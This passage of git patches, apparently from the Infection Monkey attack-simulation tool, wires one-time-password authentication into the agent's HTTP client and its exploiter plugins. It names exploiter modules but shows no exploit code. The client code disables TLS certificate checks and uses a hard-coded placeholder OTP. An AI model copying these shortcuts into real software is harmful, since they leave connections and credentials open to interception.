"tcp_port_selector": MagicMock(), "interrupt": threading.Event(), + "otp_provider": MagicMock(), } return arguments From 51f2233904b5c5f0d3254f4a8a257909136a4e8d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 15 Mar 2023 18:02:40 +0530 Subject: [PATCH 0609/1338] Hadoop: Add otp_provider argument to the plugin constructor --- monkey/agent_plugins/exploiters/hadoop/src/plugin.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/hadoop/src/plugin.py b/monkey/agent_plugins/exploiters/hadoop/src/plugin.py index 9e49b4280f1..ec860d53ad5 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/plugin.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/plugin.py @@ -16,7 +16,7 @@ from common.utils.code_utils import del_key # dependencies to get rid of or internalize -from infection_monkey.exploit import IAgentBinaryRepository +from infection_monkey.exploit import IAgentBinaryRepository, IAgentOTPProvider from infection_monkey.exploit.tools.http_agent_binary_server import start_agent_binary_server from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.network import TCPPortSelector @@ -37,6 +37,7 @@ def __init__( agent_event_publisher: IAgentEventPublisher, agent_binary_repository: IAgentBinaryRepository, tcp_port_selector: TCPPortSelector, + otp_provider: IAgentOTPProvider, **kwargs, ): hadoop_exploit_client = HadoopExploitClient(agent_id, agent_event_publisher) From 5ea42b34136f187ca94d63d79f9ca61680107a6e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 15 Mar 2023 19:30:30 +0530 Subject: [PATCH 0610/1338] UT: Fix Hadoop tests --- .../unit_tests/agent_plugins/exploiters/hadoop/test_plugin.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_plugin.py b/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_plugin.py index fd25503b87a..d875f9e2469 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_plugin.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_plugin.py @@ -46,6 +46,7 @@ def plugin(monkeypatch) -> Plugin: agent_event_publisher=MagicMock(), agent_binary_repository=MagicMock(), tcp_port_selector=MagicMock(), + otp_provider=MagicMock(), ) @@ -86,6 +87,7 @@ def test_run__exploit_host_raises_exception(monkeypatch, plugin: Plugin): agent_event_publisher=MagicMock(), agent_binary_repository=MagicMock(), tcp_port_selector=MagicMock(), + otp_provider=MagicMock(), ) result = plugin.run( host=TARGET_HOST, From e6f0ce915df8c50c47534d7576efc7ac36deb23c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Mar 2023 09:48:30 -0400 Subject: [PATCH 0611/1338] Project: Add specific testing requirements to PULL_REQUEST_TEMPLATE.md --- .github/PULL_REQUEST_TEMPLATE.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md index dd364fd5b13..a996995e60d 100644 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -14,6 +14,8 @@ Add any further explanations here. ## Testing Checklist * [ ] Added relevant unit tests? -* [ ] Have you successfully tested your changes locally? Elaborate: +* [ ] Do all unit tests pass? +* [ ] Do all end-to-end tests pass? +* [ ] Any other testing performed? > Tested by {Running the Monkey locally with relevant config/running Island/...} * [ ] If applicable, add screenshots or log transcripts of the feature working From feb026417568c3815d6164fa01519580a151f4f9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Mar 2023 12:36:39 -0400 Subject: [PATCH 0612/1338] Agent: Sort imports in monkey.py --- monkey/infection_monkey/monkey.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 69923aa40ba..c9752469253 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -47,9 +47,9 @@ SSHCredentialCollector, ) from infection_monkey.exploit import ( - IslandAPIAgentOTPProvider, CachingAgentBinaryRepository, ExploiterWrapper, + IslandAPIAgentOTPProvider, ) from infection_monkey.exploit.log4shell import Log4ShellExploiter from infection_monkey.exploit.mssqlexec import MSSQLExploiter From 79f980b5363a14272cba272e931ac8ad8d44296a Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 16 Mar 2023 18:48:38 +0530 Subject: [PATCH 0613/1338] Agent: Add AGENT_OTP_ENVIRONMENT_VARIABLE constant to monkey.py --- monkey/infection_monkey/monkey.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index c9752469253..1fe3a869033 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -101,6 +101,9 @@ logging.getLogger("urllib3").setLevel(logging.INFO) +AGENT_OTP_ENVIRONMENT_VARIABLE = "IM_OTP" + + class InfectionMonkey: def __init__(self, args, ipc_logger_queue: multiprocessing.Queue, log_path: Path): logger.info("Agent is initializing...") From 8db172d6a016d65dd13cb643730d0061cad8bc57 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 16 Mar 2023 18:53:50 +0530 Subject: [PATCH 0614/1338] Project: Add AGENT_OTP_ENVIRONMENT_VARIABLE to Vulture allowlist --- vulture_allowlist.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 319fa2d495a..f529512a9ec 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -14,6 +14,7 @@ from infection_monkey.exploit.zerologon import NetrServerPasswordSet, NetrServerPasswordSetResponse from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell from infection_monkey.island_api_client import http_island_api_client +from infection_monkey.monkey import AGENT_OTP_ENVIRONMENT_VARIABLE from infection_monkey.transport.http import FileServHTTPRequestHandler from monkey_island.cc.deployment import Deployment from monkey_island.cc.models import Agent, IslandMode, Machine @@ -145,3 +146,4 @@ # Remove after #3077 http_island_api_client.get_otp IslandAPIAgentOTPProvider +AGENT_OTP_ENVIRONMENT_VARIABLE From becfb20216b3358a275cf452f2e9de51e0e94972 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 16 Mar 2023 19:56:26 +0530 Subject: [PATCH 0615/1338] Common: Add AGENT_OTP_ENVIRONMENT_VARIABLE constant --- monkey/common/common_consts/__init__.py | 1 + monkey/common/common_consts/environment_variables.py | 1 + 2 files changed, 2 insertions(+) create mode 100644 monkey/common/common_consts/environment_variables.py diff --git a/monkey/common/common_consts/__init__.py b/monkey/common/common_consts/__init__.py index 7e6de121c60..83c98387eaa 100644 --- a/monkey/common/common_consts/__init__.py +++ b/monkey/common/common_consts/__init__.py @@ -1 +1,2 @@ from .thread_periods import HEARTBEAT_INTERVAL +from .environment_variables import AGENT_OTP_ENVIRONMENT_VARIABLE diff --git a/monkey/common/common_consts/environment_variables.py b/monkey/common/common_consts/environment_variables.py new file mode 100644 index 00000000000..d9580e5cb71 --- /dev/null +++ b/monkey/common/common_consts/environment_variables.py @@ -0,0 +1 @@ +AGENT_OTP_ENVIRONMENT_VARIABLE = "IM_OTP" From ff0ef42595470ef0069100ac0a43984dab13f8a8 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 16 Mar 2023 19:56:57 +0530 Subject: [PATCH 0616/1338] Agent: Remove AGENT_OTP_ENVIRONMENT_VARIABLE constant from monkey.py --- monkey/infection_monkey/monkey.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 1fe3a869033..c9752469253 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -101,9 +101,6 @@ logging.getLogger("urllib3").setLevel(logging.INFO) -AGENT_OTP_ENVIRONMENT_VARIABLE = "IM_OTP" - - class InfectionMonkey: def __init__(self, args, ipc_logger_queue: multiprocessing.Queue, log_path: Path): logger.info("Agent is initializing...") From 3876fc2aef84a94d683ddcc307e84ec132f3d080 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 16 Mar 2023 19:57:14 +0530 Subject: [PATCH 0617/1338] Project: Fix Vulture entry import --- vulture_allowlist.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index f529512a9ec..c4ac0ba8057 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -6,6 +6,7 @@ from common.agent_events import AbstractAgentEvent, FileEncryptionEvent from common.agent_plugins import AgentPlugin, AgentPluginManifest from common.base_models import InfectionMonkeyModelConfig, MutableInfectionMonkeyModelConfig +from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE from common.credentials import LMHash, NTHash, SecretEncodingConfig from common.types import Lock, NetworkPort, PluginName from infection_monkey.exploit import IslandAPIAgentOTPProvider @@ -14,7 +15,6 @@ from infection_monkey.exploit.zerologon import NetrServerPasswordSet, NetrServerPasswordSetResponse from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell from infection_monkey.island_api_client import http_island_api_client -from infection_monkey.monkey import AGENT_OTP_ENVIRONMENT_VARIABLE from infection_monkey.transport.http import FileServHTTPRequestHandler from monkey_island.cc.deployment import Deployment from monkey_island.cc.models import Agent, IslandMode, Machine From 66745547bb415f1e81c8136eca7f5197e3a061d7 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 14 Mar 2023 18:06:50 +0200 Subject: [PATCH 0618/1338] Agent: Change http clients to use the OTP for authentication --- .../island_api_client/http_client.py | 23 +++++----------- .../http_island_api_client.py | 26 +++++++++++++++++-- .../http_island_api_client_factory.py | 8 +++--- monkey/infection_monkey/monkey.py | 5 +++- 4 files changed, 38 insertions(+), 24 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_client.py b/monkey/infection_monkey/island_api_client/http_client.py index d55c4ba5bf0..cc11514f96f 100644 --- a/monkey/infection_monkey/island_api_client/http_client.py +++ b/monkey/infection_monkey/island_api_client/http_client.py @@ -60,22 +60,13 @@ def __init__(self, retries=RETRIES): retry_config = Retry(retries) self._session.mount("https://", HTTPAdapter(max_retries=retry_config)) self._api_url: Optional[str] = None + self._headers = {} - @handle_island_errors - def connect(self, island_server: SocketAddress): - try: - self._api_url = f"https://{island_server}/api" - # Don't use retries here, because we expect to not be able to connect. - response = requests.get( # noqa: DUO123 - f"{self._api_url}?action=is-up", - verify=False, - timeout=MEDIUM_REQUEST_TIMEOUT, - ) - response.raise_for_status() - except Exception as err: - logger.debug(f"Connection to {island_server} failed: {err}") - self._api_url = None - raise err + def set_server(self, server: SocketAddress): + self._api_url = f"https://{server}/api" + + def set_authentication_token(self, auth_token: str): + self._headers = {"Authentication-Token": auth_token} def get( self, @@ -132,7 +123,7 @@ def _send_request( logger.debug(f"{request_type.name} {url}, timeout={timeout}") method = getattr(self._session, str.lower(request_type.name)) - response = method(url, *args, timeout=timeout, verify=False, **kwargs) + response = method(url, *args, timeout=timeout, verify=False, headers=self.headers, **kwargs) response.raise_for_status() return response diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index eebb6e40546..94396280aee 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -45,16 +45,33 @@ class HTTPIslandAPIClient(IIslandAPIClient): """ def __init__( - self, agent_event_serializer_registry: AgentEventSerializerRegistry, http_client: HTTPClient + self, + agent_event_serializer_registry: AgentEventSerializerRegistry, + http_client: HTTPClient, + otp: str, ): self._agent_event_serializer_registry = agent_event_serializer_registry self.http_client = http_client + self._otp = otp def connect( self, island_server: SocketAddress, ): - self.http_client.connect(island_server) + try: + self.http_client.set_server(island_server) + self.http_client.get("?action=is-up") + except Exception as err: + logger.debug(f"Connection to {island_server} failed: {err}") + self.http_client.set_server(None) + raise err + + auth_token = self._get_authentication_token() + self.http_client.set_authentication_token(auth_token) + + def _get_authentication_token(self) -> str: + response = self.http_client.post("agent-otp-login", {"otp": self._otp}) + return response.json()["token"] def get_agent_binary(self, operating_system: OperatingSystem) -> bytes: os_name = operating_system.value @@ -66,6 +83,11 @@ def get_otp(self) -> str: response = self.http_client.get("agent-otp") return response.json()["otp"] + @handle_response_parsing_errors + def get_authentication_token(self, otp: str) -> str: + response = self.http_client.post("agent-otp-login", {"otp": otp}) + return response.json()["token"] + @handle_response_parsing_errors def get_agent_plugin( self, operating_system: OperatingSystem, plugin_type: AgentPluginType, plugin_name: str diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client_factory.py b/monkey/infection_monkey/island_api_client/http_island_api_client_factory.py index 9570b9814ac..83ef0118ca2 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client_factory.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client_factory.py @@ -10,13 +10,11 @@ class HTTPIslandAPIClientFactory(AbstractIslandAPIClientFactory): - def __init__( - self, - agent_event_serializer_registry: AgentEventSerializerRegistry, - ): + def __init__(self, agent_event_serializer_registry: AgentEventSerializerRegistry, otp: str): self._agent_event_serializer_registry = agent_event_serializer_registry + self._otp = otp def create_island_api_client(self) -> IIslandAPIClient: return ConfigurationValidatorDecorator( - HTTPIslandAPIClient(self._agent_event_serializer_registry, HTTPClient()) + HTTPIslandAPIClient(self._agent_event_serializer_registry, HTTPClient(), self._otp) ) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index c9752469253..f474ae86964 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -114,6 +114,8 @@ def __init__(self, args, ipc_logger_queue: multiprocessing.Queue, log_path: Path self._manager = context.Manager() self._opts = self._get_arguments(args) + # TODO read the otp from an env variable + self._otp = "hard-coded-otp" self._ipc_logger_queue = ipc_logger_queue @@ -171,7 +173,8 @@ def _get_arguments(args): def _connect_to_island_api(self) -> Tuple[SocketAddress, IIslandAPIClient]: logger.debug(f"Trying to wake up with servers: {', '.join(map(str, self._opts.servers))}") server_clients = find_available_island_apis( - self._opts.servers, HTTPIslandAPIClientFactory(self._agent_event_serializer_registry) + self._opts.servers, + HTTPIslandAPIClientFactory(self._agent_event_serializer_registry, self._otp), ) server, island_api_client = self._select_server(server_clients) From 32833334c66353951b44a41c5d2819acd797b606 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 15 Mar 2023 13:29:22 +0530 Subject: [PATCH 0619/1338] Agent: Set auth token in headers in HTTPClient without erasing other headers --- monkey/infection_monkey/island_api_client/http_client.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_client.py b/monkey/infection_monkey/island_api_client/http_client.py index cc11514f96f..34c96e2419e 100644 --- a/monkey/infection_monkey/island_api_client/http_client.py +++ b/monkey/infection_monkey/island_api_client/http_client.py @@ -66,7 +66,7 @@ def set_server(self, server: SocketAddress): self._api_url = f"https://{server}/api" def set_authentication_token(self, auth_token: str): - self._headers = {"Authentication-Token": auth_token} + self._headers["Authentication-Token"] = auth_token def get( self, @@ -123,7 +123,9 @@ def _send_request( logger.debug(f"{request_type.name} {url}, timeout={timeout}") method = getattr(self._session, str.lower(request_type.name)) - response = method(url, *args, timeout=timeout, verify=False, headers=self.headers, **kwargs) + response = method( + url, *args, timeout=timeout, verify=False, headers=self._headers, **kwargs + ) response.raise_for_status() return response From 4e15cfbf85620f3ab3f50759cde6f40079d58abd Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 15 Mar 2023 11:21:17 +0200 Subject: [PATCH 0620/1338] Agent: Rename _headers to _additional_headers in HTTPClient Requests library send headers even if you specify {}, it's more readable if we name them additional headers --- monkey/infection_monkey/island_api_client/http_client.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_client.py b/monkey/infection_monkey/island_api_client/http_client.py index 34c96e2419e..b3b63eb77e8 100644 --- a/monkey/infection_monkey/island_api_client/http_client.py +++ b/monkey/infection_monkey/island_api_client/http_client.py @@ -60,13 +60,13 @@ def __init__(self, retries=RETRIES): retry_config = Retry(retries) self._session.mount("https://", HTTPAdapter(max_retries=retry_config)) self._api_url: Optional[str] = None - self._headers = {} + self._additional_headers = {} def set_server(self, server: SocketAddress): self._api_url = f"https://{server}/api" def set_authentication_token(self, auth_token: str): - self._headers["Authentication-Token"] = auth_token + self._additional_headers["Authentication-Token"] = auth_token def get( self, @@ -124,7 +124,7 @@ def _send_request( method = getattr(self._session, str.lower(request_type.name)) response = method( - url, *args, timeout=timeout, verify=False, headers=self._headers, **kwargs + url, *args, timeout=timeout, verify=False, headers=self._additional_headers, **kwargs ) response.raise_for_status() From 73e6c4351e54590ab119aa7d3cf4ebf1de56e6b1 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 15 Mar 2023 12:12:03 +0200 Subject: [PATCH 0621/1338] Agent: Remove temporal coupling from HTTPClient --- monkey/infection_monkey/island_api_client/http_client.py | 4 +--- .../island_api_client/http_island_api_client.py | 7 +++---- .../island_api_client/http_island_api_client_factory.py | 3 +-- 3 files changed, 5 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_client.py b/monkey/infection_monkey/island_api_client/http_client.py index b3b63eb77e8..3050bfb0700 100644 --- a/monkey/infection_monkey/island_api_client/http_client.py +++ b/monkey/infection_monkey/island_api_client/http_client.py @@ -55,14 +55,12 @@ def decorated(*args, **kwargs): class HTTPClient: - def __init__(self, retries=RETRIES): + def __init__(self, server: SocketAddress, retries=RETRIES): self._session = requests.Session() retry_config = Retry(retries) self._session.mount("https://", HTTPAdapter(max_retries=retry_config)) self._api_url: Optional[str] = None self._additional_headers = {} - - def set_server(self, server: SocketAddress): self._api_url = f"https://{server}/api" def set_authentication_token(self, auth_token: str): diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 94396280aee..d8571cd840d 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -47,23 +47,22 @@ class HTTPIslandAPIClient(IIslandAPIClient): def __init__( self, agent_event_serializer_registry: AgentEventSerializerRegistry, - http_client: HTTPClient, otp: str, ): self._agent_event_serializer_registry = agent_event_serializer_registry - self.http_client = http_client self._otp = otp + self.http_client = None def connect( self, island_server: SocketAddress, ): try: - self.http_client.set_server(island_server) + self.http_client = HTTPClient(island_server) self.http_client.get("?action=is-up") except Exception as err: logger.debug(f"Connection to {island_server} failed: {err}") - self.http_client.set_server(None) + self.http_client = None raise err auth_token = self._get_authentication_token() diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client_factory.py b/monkey/infection_monkey/island_api_client/http_island_api_client_factory.py index 83ef0118ca2..aa627fd0c94 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client_factory.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client_factory.py @@ -6,7 +6,6 @@ HTTPIslandAPIClient, IIslandAPIClient, ) -from .http_client import HTTPClient class HTTPIslandAPIClientFactory(AbstractIslandAPIClientFactory): @@ -16,5 +15,5 @@ def __init__(self, agent_event_serializer_registry: AgentEventSerializerRegistry def create_island_api_client(self) -> IIslandAPIClient: return ConfigurationValidatorDecorator( - HTTPIslandAPIClient(self._agent_event_serializer_registry, HTTPClient(), self._otp) + HTTPIslandAPIClient(self._agent_event_serializer_registry, self._otp) ) From 5e894235a1913d763c41678d4a889e5692670b1e Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 15 Mar 2023 12:27:00 +0200 Subject: [PATCH 0622/1338] Agent: Add type annotation for "_additional_headers" --- monkey/infection_monkey/island_api_client/http_client.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/island_api_client/http_client.py b/monkey/infection_monkey/island_api_client/http_client.py index 3050bfb0700..25a5844de1c 100644 --- a/monkey/infection_monkey/island_api_client/http_client.py +++ b/monkey/infection_monkey/island_api_client/http_client.py @@ -60,7 +60,7 @@ def __init__(self, server: SocketAddress, retries=RETRIES): retry_config = Retry(retries) self._session.mount("https://", HTTPAdapter(max_retries=retry_config)) self._api_url: Optional[str] = None - self._additional_headers = {} + self._additional_headers: Dict[str, Any] = {} self._api_url = f"https://{server}/api" def set_authentication_token(self, auth_token: str): From 0c6ae2f47d983a261e79eaefca1c6a18c69b654d Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 15 Mar 2023 15:20:58 +0200 Subject: [PATCH 0623/1338] Agent: Add unconnected client error handling --- .../http_island_api_client.py | 40 +++++++++++++++---- .../island_api_client_errors.py | 6 +++ 2 files changed, 38 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index d8571cd840d..6c1138c8434 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -2,7 +2,7 @@ import json import logging from pprint import pformat -from typing import Any, Dict, List, Sequence +from typing import Any, Dict, List, Optional, Sequence, TypeGuard import requests @@ -17,7 +17,7 @@ from . import IIslandAPIClient, IslandAPIRequestError from .http_client import HTTPClient -from .island_api_client_errors import IslandAPIResponseParsingError +from .island_api_client_errors import IslandAPIResponseParsingError, UnconnectedClientError logger = logging.getLogger(__name__) @@ -39,6 +39,19 @@ def wrapper(*args, **kwargs): return wrapper +def ensure_client_connected(fn): + @functools.wraps(fn) + def wrapper(self, *args, **kwargs): + if self.http_client is not None: + return fn(self, *args, **kwargs) + else: + raise UnconnectedClientError( + f"The client can't {fn.__name__}" f" because it's not connected to any server." + ) + + return wrapper + + class HTTPIslandAPIClient(IIslandAPIClient): """ A client for the Island's HTTP API @@ -51,7 +64,7 @@ def __init__( ): self._agent_event_serializer_registry = agent_event_serializer_registry self._otp = otp - self.http_client = None + self._http_client: Optional[HTTPClient] = None def connect( self, @@ -72,21 +85,19 @@ def _get_authentication_token(self) -> str: response = self.http_client.post("agent-otp-login", {"otp": self._otp}) return response.json()["token"] + @ensure_client_connected def get_agent_binary(self, operating_system: OperatingSystem) -> bytes: os_name = operating_system.value response = self.http_client.get(f"agent-binaries/{os_name}") return response.content + @ensure_client_connected @handle_response_parsing_errors def get_otp(self) -> str: response = self.http_client.get("agent-otp") return response.json()["otp"] - @handle_response_parsing_errors - def get_authentication_token(self, otp: str) -> str: - response = self.http_client.post("agent-otp-login", {"otp": otp}) - return response.json()["token"] - + @ensure_client_connected @handle_response_parsing_errors def get_agent_plugin( self, operating_system: OperatingSystem, plugin_type: AgentPluginType, plugin_name: str @@ -97,6 +108,7 @@ def get_agent_plugin( return AgentPlugin(**response.json()) + @ensure_client_connected @handle_response_parsing_errors def get_agent_plugin_manifest( self, plugin_type: AgentPluginType, plugin_name: str @@ -105,12 +117,14 @@ def get_agent_plugin_manifest( return AgentPluginManifest(**response.json()) + @ensure_client_connected @handle_response_parsing_errors def get_agent_signals(self, agent_id: str) -> AgentSignals: response = self.http_client.get(f"agent-signals/{agent_id}", timeout=SHORT_REQUEST_TIMEOUT) return AgentSignals(**response.json()) + @ensure_client_connected @handle_response_parsing_errors def get_agent_configuration_schema(self) -> Dict[str, Any]: response = self.http_client.get("agent-configuration-schema", timeout=SHORT_REQUEST_TIMEOUT) @@ -118,6 +132,7 @@ def get_agent_configuration_schema(self) -> Dict[str, Any]: return schema + @ensure_client_connected @handle_response_parsing_errors def get_config(self) -> AgentConfiguration: response = self.http_client.get("agent-configuration", timeout=SHORT_REQUEST_TIMEOUT) @@ -127,12 +142,14 @@ def get_config(self) -> AgentConfiguration: return AgentConfiguration(**config_dict) + @ensure_client_connected @handle_response_parsing_errors def get_credentials_for_propagation(self) -> Sequence[Credentials]: response = self.http_client.get("propagation-credentials", timeout=SHORT_REQUEST_TIMEOUT) return [Credentials(**credentials) for credentials in response.json()] + @ensure_client_connected def register_agent(self, agent_registration_data: AgentRegistrationData): self.http_client.post( "agents", @@ -140,6 +157,7 @@ def register_agent(self, agent_registration_data: AgentRegistrationData): SHORT_REQUEST_TIMEOUT, ) + @ensure_client_connected def send_events(self, events: Sequence[AbstractAgentEvent]): self.http_client.post("agent-events", self._serialize_events(events)) @@ -155,12 +173,18 @@ def _serialize_events(self, events: Sequence[AbstractAgentEvent]) -> JSONSeriali return serialized_events + @ensure_client_connected def send_heartbeat(self, agent_id: AgentID, timestamp: float): data = AgentHeartbeat(timestamp=timestamp).dict(simplify=True) self.http_client.post(f"agent/{agent_id}/heartbeat", data) + @ensure_client_connected def send_log(self, agent_id: AgentID, log_contents: str): self.http_client.put( f"agent-logs/{agent_id}", log_contents, ) + + +def _is_connected(client: Optional[HTTPClient]) -> TypeGuard[HTTPClient]: + return bool(client) diff --git a/monkey/infection_monkey/island_api_client/island_api_client_errors.py b/monkey/infection_monkey/island_api_client/island_api_client_errors.py index 9556d53800d..45683a73636 100644 --- a/monkey/infection_monkey/island_api_client/island_api_client_errors.py +++ b/monkey/infection_monkey/island_api_client/island_api_client_errors.py @@ -6,6 +6,12 @@ class IslandAPIError(Exception): pass +class UnconnectedClientError(IslandAPIError): + """ + Raise if the client is used before it got connected + """ + + class IslandAPITimeoutError(IslandAPIError): """ Raised when the API request hits a timeout From 37dbde7055f773878053a66643fef7e1205a26b8 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 15 Mar 2023 17:59:15 +0200 Subject: [PATCH 0624/1338] Agent: Refactor HTTPClient to be less coupled to the island --- .../island_api_client/http_client.py | 38 ++++++++----- .../http_island_api_client.py | 53 ++++++++++--------- .../http_island_api_client_factory.py | 3 +- monkey/tests/data_for_tests/otp.py | 1 + .../island_api_client/test_http_client.py | 12 ++--- .../test_http_island_api_client.py | 7 +-- .../network/relay/test_utils.py | 6 ++- 7 files changed, 71 insertions(+), 49 deletions(-) create mode 100644 monkey/tests/data_for_tests/otp.py diff --git a/monkey/infection_monkey/island_api_client/http_client.py b/monkey/infection_monkey/island_api_client/http_client.py index 25a5844de1c..c1b36905ec9 100644 --- a/monkey/infection_monkey/island_api_client/http_client.py +++ b/monkey/infection_monkey/island_api_client/http_client.py @@ -8,7 +8,7 @@ from urllib3 import Retry from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT -from common.types import JSONSerializable, SocketAddress +from common.types import JSONSerializable from .island_api_client_errors import ( IslandAPIConnectionError, @@ -55,16 +55,30 @@ def decorated(*args, **kwargs): class HTTPClient: - def __init__(self, server: SocketAddress, retries=RETRIES): + def __init__(self, retries=RETRIES): self._session = requests.Session() retry_config = Retry(retries) self._session.mount("https://", HTTPAdapter(max_retries=retry_config)) - self._api_url: Optional[str] = None - self._additional_headers: Dict[str, Any] = {} - self._api_url = f"https://{server}/api" + self._server_url: Optional[str] = None + self._additional_headers = None - def set_authentication_token(self, auth_token: str): - self._additional_headers["Authentication-Token"] = auth_token + @property + def server_url(self): + return self._server_url + + @server_url.setter + def server_url(self, endpoint: Optional[str]): + if endpoint: + endpoint = f"https://{endpoint}" + self._server_url = endpoint + + @property + def additional_headers(self): + return self._additional_headers + + @additional_headers.setter + def additional_headers(self, headers: Dict[str, Any]): + self._additional_headers = headers def get( self, @@ -111,13 +125,9 @@ def _send_request( *args, **kwargs, ) -> requests.Response: - if self._api_url is None: - raise RuntimeError( - "HTTP client is not connected to the Island server," - "establish a connection with 'connect()' before " - "attempting to send any requests" - ) - url = f"{self._api_url}/{endpoint}".strip("/") + if self._server_url is None: + raise RuntimeError("HTTP client does not have a server URL set") + url = f"{self._server_url}{endpoint}".strip("/") logger.debug(f"{request_type.name} {url}, timeout={timeout}") method = getattr(self._session, str.lower(request_type.name)) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 6c1138c8434..745147f5fa5 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -2,7 +2,7 @@ import json import logging from pprint import pformat -from typing import Any, Dict, List, Optional, Sequence, TypeGuard +from typing import Any, Dict, List, Sequence import requests @@ -60,41 +60,46 @@ class HTTPIslandAPIClient(IIslandAPIClient): def __init__( self, agent_event_serializer_registry: AgentEventSerializerRegistry, + http_client: HTTPClient, otp: str, ): self._agent_event_serializer_registry = agent_event_serializer_registry + self.http_client = http_client self._otp = otp - self._http_client: Optional[HTTPClient] = None def connect( self, island_server: SocketAddress, ): try: - self.http_client = HTTPClient(island_server) + self.http_client.server_url = f"{island_server}/api" self.http_client.get("?action=is-up") except Exception as err: logger.debug(f"Connection to {island_server} failed: {err}") - self.http_client = None + self.http_client.server_url = None raise err - auth_token = self._get_authentication_token() - self.http_client.set_authentication_token(auth_token) + try: + auth_token = self._get_authentication_token() + except Exception as err: + logger.debug("Authentication failed") + raise err + + self.http_client.additional_headers = {"Authentication-Token": auth_token} def _get_authentication_token(self) -> str: - response = self.http_client.post("agent-otp-login", {"otp": self._otp}) + response = self.http_client.post("/agent-otp-login", {"otp": self._otp}) return response.json()["token"] @ensure_client_connected def get_agent_binary(self, operating_system: OperatingSystem) -> bytes: os_name = operating_system.value - response = self.http_client.get(f"agent-binaries/{os_name}") + response = self.http_client.get(f"/agent-binaries/{os_name}") return response.content - @ensure_client_connected @handle_response_parsing_errors def get_otp(self) -> str: - response = self.http_client.get("agent-otp") + response = self.http_client.get("/agent-otp") return 